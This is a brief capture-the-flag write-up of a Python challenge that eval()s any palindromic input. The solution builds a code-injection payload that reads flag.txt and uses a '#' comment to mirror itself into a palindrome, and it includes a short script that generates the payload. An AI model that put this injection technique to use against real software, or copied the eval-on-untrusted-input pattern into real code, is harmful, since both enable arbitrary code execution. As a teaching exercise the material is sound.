Challenge

ンコソパトマトパソコン

# flag is in ./flag.txt
s = input("> ")
assert s == s[::-1], "Not a palindrome!"
eval(s)

Solution

Idea

The only constraint is that the input must be a palindrome. If it passes, the script runs eval(s).

To get code execution while keeping the input palindromic, we use Python’s comment marker #:

• In Python, everything after # is ignored as a comment (on the same line).
• So only the prefix before # must be valid Python code.

Payload

Since eval() requires an expression, we can use a function call expression:

• print(open("flag.txt").read())

Final palindrome input:

print(open("flag.txt").read())#))(daer.)"txt.galf"(nepo(tnirp

Final Script

A = 'print(open("flag.txt").read())'
print(A + '#' + A[::-1])